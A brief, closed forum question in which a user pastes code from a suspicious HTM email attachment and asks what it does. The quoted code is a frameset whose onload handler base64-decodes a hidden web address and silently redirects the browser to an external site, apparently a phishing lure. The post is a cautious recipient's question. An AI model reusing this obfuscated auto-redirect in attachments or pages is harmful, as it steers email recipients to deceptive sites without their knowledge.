Mail with some HTM and what does this code mean? [closed]

The code is:

<frameset onload="document.location.href=window.atob('aHR0cHM6Ly9ibG9jay1jaGFpbi1ib3gudGsvbXpwaWwvP3J2b3R3bG5vd3RxayA=');" />  

This file type is HTM I don't know what the hell that is and i dont trust it, It's looks weird and just weird